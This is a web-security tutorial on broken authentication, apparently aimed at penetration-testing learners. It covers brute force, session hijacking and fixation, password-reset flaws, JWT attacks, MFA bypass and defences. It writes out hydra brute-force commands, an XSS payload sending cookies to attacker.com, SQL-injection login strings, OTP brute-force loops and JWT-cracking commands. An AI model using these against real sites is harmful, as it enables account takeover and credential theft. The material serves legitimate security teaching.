Broken Authentication
Broken Authentication is a critical security vulnerability where flaws in authentication mechanisms allow attackers to compromise passwords, keys, session tokens, or exploit implementation flaws to assume users' identities. This lesson covers common authentication weaknesses, exploitation techniques, and defensive measures.
What You'll Learn
- Authentication fundamentals
- Common authentication vulnerabilities
- Session management attacks
- Brute force and credential stuffing
- Password reset vulnerabilities
- Multi-factor authentication bypass
- JWT token attacks
- Cookie manipulation
- Prevention and best practices
Authentication Fundamentals
What is Authentication?
Authentication: Verifying the identity of a user, process, or device.
Common Methods:
- Something you know (password, PIN)
- Something you have (token, smart card)
- Something you are (biometric)
Authentication vs Authorization
Authentication: "Who are you?"
Example: Login with username/password
Authorization: "What can you do?"
Example: Admin access to user management
Session Management: "Are you still you?"
Example: Maintaining logged-in state
Common Authentication Vulnerabilities
1. Weak Credentials
The Problem: Default, common, or easily guessable passwords.
admin/admin
admin/password
root/root
user/user
test/test123
Attack: Credential stuffing with common passwords.
# Test common credentials
hydra -L usernames.txt -P common_passwords.txt http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid"
2. Brute Force
The Problem: No rate limiting or account lockout.
# Brute force with Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid"
# Brute force with Burp Suite Intruder
# 1. Capture login request in Burp
# 2. Send to Intruder
# 3. Mark password field as payload position
# 4. Load wordlist
# 5. Start attack
Detection: Different response for valid username vs invalid.
3. Predictable Session IDs
The Problem: Session tokens that can be guessed or predicted.
Bad examples:
sessionId=1
sessionId=12345
sessionId=user123_20251008
Good example:
sessionId=a8f7bc9d3e2f1a4b6c8e0d9f7a5b3c1e
4. Session Fixation
Attack Flow:
1. Attacker gets session ID from site
http://site.com/login?sessionid=ABC123
2. Attacker sends link to victim
"Click here: http://site.com/login?sessionid=ABC123"
3. Victim logs in with that session ID
4. Attacker uses sessionid=ABC123 to access victim's account
Prevention: Generate new session ID after successful login.
5. Credential Stuffing
The Problem: Users reuse passwords across sites.
Attacker workflow:
1. Obtain leaked credentials from data breach
(millions of email:password pairs)
2. Test credentials against target site
3. Profit from successful logins
Tools: Sentry MBA, SNIPR, OpenBullet
Session Management Attacks
Session Hijacking
Cookie Theft via XSS:
// Attacker injects JavaScript
<script>
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>
Network Sniffing (if not HTTPS):
# Capture cookies on same network
ettercap -T -q -i wlan0
Session Prediction
Analyze Session Tokens:
import requests
# Collect multiple session IDs
sessions = []
for i in range(100):
r = requests.get("http://site.com")
sessions.append(r.cookies['sessionid'])
# Look for patterns
for sid in sessions:
print(sid)
# If predictable, calculate next valid session
Cookie Manipulation
HTTP Cookies:
Set-Cookie: user=alice; role=user; admin=false
Attack: Modify cookie values
Modified: user=alice; role=admin; admin=true
Tools: Browser DevTools, Burp Suite, Cookie-Editor extension
Password Reset Vulnerabilities
1. Password Reset Token Leakage
Vulnerable Implementation:
Reset link: http://site.com/reset?token=123456&[email protected]
Problem: Token in URL sent via:
- Referer header to third-party sites
- Browser history
- Proxy logs
2. Predictable Reset Tokens
Weak Tokens:
token=1, 2, 3, 4, 5...
token=timestamp
token=md5(email)
Attack: Predict or brute force token.
import requests
import hashlib
# Test MD5(email) as token
email = "[email protected]"
token = hashlib.md5(email.encode()).hexdigest()
r = requests.post("http://site.com/reset", data={
"email": email,
"token": token,
"new_password": "hacked123"
})
3. No Token Expiration
The Problem: Reset links never expire.
Attack: Old reset link found in browser history or emails still works.
4. Token Not Invalidated After Use
The Problem: Token can be reused multiple times.
Attack:
1. User resets password using token ABC123
2. Attacker later uses same token ABC123
3. Attacker resets password again
5. Account Enumeration via Reset
Vulnerable Response:
Email exists: "Password reset link sent to your email"
Email doesn't exist: "No account found with that email"
Attack: Enumerate valid email addresses.
import requests
emails = ['[email protected]', '[email protected]', '[email protected]']
for email in emails:
r = requests.post("http://site.com/reset", data={"email": email})
if "reset link sent" in r.text.lower():
print(f"[+] Valid email: {email}")
else:
print(f"[-] Invalid email: {email}")
JWT Token Attacks
What are JWTs?
JWT (JSON Web Token): Used for stateless authentication.
Structure: header.payload.signature
Example:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWxpY2UiLCJyb2xlIjoidXNlciJ9.signature
Decoded:
// Header
{
"alg": "HS256",
"typ": "JWT"
}
// Payload
{
"user": "alice",
"role": "user",
"exp": 1640995200
}
// Signature (verifies authenticity)
JWT Attack 1: None Algorithm
Vulnerability: Algorithm set to "none" (no signature).
// Change header
{
"alg": "none",
"typ": "JWT"
}
// Modify payload
{
"user": "admin",
"role": "admin"
}
// Remove signature
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.
Tool: jwt_tool
python3 jwt_tool.py <JWT_TOKEN> -X a
JWT Attack 2: Algorithm Confusion
Vulnerability: Server accepts both HS256 (symmetric) and RS256 (asymmetric).
Attack: Change RS256 to HS256 and sign with public key.
# Extract public key
openssl s_client -connect site.com:443 | openssl x509 -pubkey -noout > public.pem
# Create JWT with HS256 using public key as secret
python3 jwt_tool.py <JWT_TOKEN> -X k -pk public.pem
JWT Attack 3: Weak Secret
Vulnerability: JWT signed with weak secret key.
Attack: Brute force the secret.
# Hashcat
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# jwt_tool
python3 jwt_tool.py <JWT_TOKEN> -C -d /usr/share/wordlists/rockyou.txt
# john
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt
JWT Attack 4: KID Manipulation
Key ID (kid) parameter specifies which key to use for verification.
SQL Injection in kid:
{
"alg": "HS256",
"kid": "../../../../../../dev/null"
}
Path Traversal in kid:
{
"alg": "HS256",
"kid": "../../key.pem"
}
Multi-Factor Authentication Bypass
1. Direct Request
Vulnerability: 2FA check not enforced on all endpoints.
Attack:
1. Login with username/password
2. Intercept 2FA prompt
3. Change URL directly to /dashboard
4. If successful = 2FA bypassed
2. Response Manipulation
Vulnerable Response:
{
"2fa_required": true,
"redirect": "/2fa"
}
Attack: Change to:
{
"2fa_required": false,
"redirect": "/dashboard"
}
3. Backup Codes
Vulnerability: Weak backup codes.
Weak: 1, 2, 3, 4, 5
Predictable: 100000, 100001, 100002
Attack: Brute force backup codes.
4. Rate Limiting Bypass
Attack: Brute force OTP codes (000000-999999).
import requests
for code in range(0, 1000000):
otp = str(code).zfill(6)
r = requests.post("http://site.com/verify-2fa", data={
"username": "admin",
"otp": otp
})
if "success" in r.text.lower():
print(f"[+] Valid OTP: {otp}")
break
Practical Examples
Example 1: Brute Force Login
# Hydra brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form "/login.php:username=^USER^&password=^PASS^:F=Invalid login"
# With multiple usernames
hydra -L users.txt -P passwords.txt http-post-form "/login.php:username=^USER^&password=^PASS^:F=Invalid"
# HTTPS
hydra -l admin -P passwords.txt https-post-form "/login:username=^USER^&password=^PASS^:F=Invalid"
Example 2: Session Cookie Analysis
import requests
# Get session cookie
s = requests.Session()
r = s.get("http://target.com/login")
session_id = s.cookies['PHPSESSID']
print(f"Session ID: {session_id}")
# Test cookie manipulation
s.cookies['role'] = 'admin'
r = s.get("http://target.com/admin")
if r.status_code == 200:
print("[+] Admin access gained!")
Example 3: JWT Manipulation
# Install jwt_tool
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
# Test all attacks
python3 jwt_tool.py <JWT_TOKEN> -M at
# Test specific attack (none algorithm)
python3 jwt_tool.py <JWT_TOKEN> -X a
# Test weak secret
python3 jwt_tool.py <JWT_TOKEN> -C -d wordlist.txt
# Custom payload
python3 jwt_tool.py <JWT_TOKEN> -T
# Then edit JSON and re-sign
Practical Pentesting Scenarios
Scenario 1: Web Application Login Bypass
# Target: http://webapp.com/login
# Step 1: Test for SQLi in login
' OR '1'='1
admin' --
' OR 1=1 --
# Step 2: If no SQLi, try brute force
hydra -l admin -P passwords.txt http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid"
# Step 3: Check for default credentials
admin:admin
admin:password
root:root
# Step 4: Analyze session cookies
# Login and capture cookie
# Check if role=user can be changed to role=admin
Scenario 2: Password Reset Token Exploit
# Target: http://site.com/reset-password
# Step 1: Request reset for your account
# Capture reset token in email or URL
# Step 2: Analyze token
# Is it predictable?
# MD5 of email?
# Sequential number?
# Step 3: Request reset for admin
# Try to predict admin's token
# Step 4: If token in URL parameter
http://site.com/reset?token=abc123&email=[email protected]
# Try changing email parameter
http://site.com/reset?token=abc123&email=[email protected]
Scenario 3: JWT Token Exploitation
# Target: API at https://api.site.com
# JWT in Authorization: Bearer <token>
# Step 1: Capture JWT token
TOKEN="eyJhbGci..."
# Step 2: Decode JWT
echo $TOKEN | cut -d '.' -f 2 | base64 -d
# Step 3: Test for none algorithm
python3 jwt_tool.py $TOKEN -X a
# Step 4: Test for weak secret
python3 jwt_tool.py $TOKEN -C -d rockyou.txt
# Step 5: If secret found, modify payload
# Change "role": "user" to "role": "admin"
Scenario 4: 2FA Bypass
# Target: Site with 2FA enabled
# Test 1: Direct access after first factor
# Login with username/password
# Try accessing /dashboard directly
# Test 2: Response manipulation
# Login and intercept 2FA response
# Change {"2fa_required": true} to {"2fa_required": false}
# Test 3: Brute force OTP (if no rate limit)
for i in {000000..999999}; do
curl -X POST "http://site.com/verify-2fa" -d "otp=$i"
done
Prevention and Best Practices
1. Strong Password Policy
- Minimum 12 characters
- Mix of uppercase, lowercase, numbers, symbols
- No common passwords (check against leaked databases)
- No personal information (name, birthday, etc.)
- Password history (prevent reuse of last 5 passwords)
2. Implement Rate Limiting
# Example rate limiting (Python/Flask)
from flask_limiter import Limiter
limiter = Limiter(app, key_func=get_remote_address)
@app.route("/login", methods=["POST"])
@limiter.limit("5 per minute")
def login():
# Login logic
pass
3. Account Lockout
After 5 failed attempts:
- Lock account for 15 minutes
- Require CAPTCHA
- Send alert email to user
4. Secure Session Management
- Generate cryptographically random session IDs
- Regenerate session ID after login
- Set HttpOnly flag (prevent JavaScript access)
- Set Secure flag (HTTPS only)
- Set SameSite=Strict (CSRF protection)
- Implement session timeout
- Invalidate session on logout
5. Multi-Factor Authentication
Implement 2FA/MFA:
- TOTP (Google Authenticator, Authy)
- SMS (less secure, but better than nothing)
- Hardware tokens (YubiKey, FIDO2)
- Backup codes (store securely)
6. Secure Password Reset
- Generate cryptographically random token (32+ bytes)
- Token expiration (15-30 minutes)
- Invalidate token after use
- Don't reveal if email exists
- Send token via email, not URL parameter
- Require old password if user is logged in
7. JWT Best Practices
- Use strong secrets (256+ bits random)
- Set short expiration (exp claim)
- Validate algorithm (don't accept "none")
- Verify signature always
- Use RS256 for microservices
- Rotate signing keys regularly
Quick Reference
Brute Force:
hydra -l user -P wordlist.txt http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid"
hydra -L users.txt -p password123 ssh://target.com
Default Credentials:
admin:admin
admin:password
root:toor
Cookie Manipulation:
role=user -> role=admin
isAdmin=false -> isAdmin=true
JWT Attacks:
python3 jwt_tool.py TOKEN -X a (none algorithm)
python3 jwt_tool.py TOKEN -C -d wordlist.txt (crack secret)
hashcat -m 16500 jwt.txt wordlist.txt
Password Reset:
- Check for token predictability
- Test token expiration
- Try parameter manipulation
2FA Bypass:
- Direct access to protected page
- Response manipulation
- Backup code brute force
Resources
Tools
- Hydra: Brute force tool
- Burp Suite: Web proxy and attack platform
- jwt_tool: JWT analysis and exploitation
- Hashcat: Password and JWT cracking
- ffuf: Web fuzzer for endpoints/parameters
Practice
- OWASP Juice Shop
- DVWA (Damn Vulnerable Web App)
- HackTheBox
- TryHackMe
- PortSwigger Academy
Further Reading
- Authentication Research - Threat-focused guide covering attack paths, design pitfalls, and defenses from password storage to MFA
- Session Management Research - Session token lifecycle risks including hijacking, fixation, and secure cookie practices
- JSON Web Tokens Research - JWT structure, threat models, and common validation pitfalls
- Authentication Patterns Training - OAuth 2.1, passkeys, WebAuthn, and JWTs for modern applications
Next Steps
- Practice brute forcing on legal targets
- Master Burp Suite for web testing
- Learn JWT structure and attacks
- Study session management implementations
- Understand OAuth 2.0 and OpenID Connect
Broken authentication is consistently in OWASP Top 10. Mastering these concepts is crucial for both attackers and defenders!
"Authentication: Because 'password123' isn't going to cut it."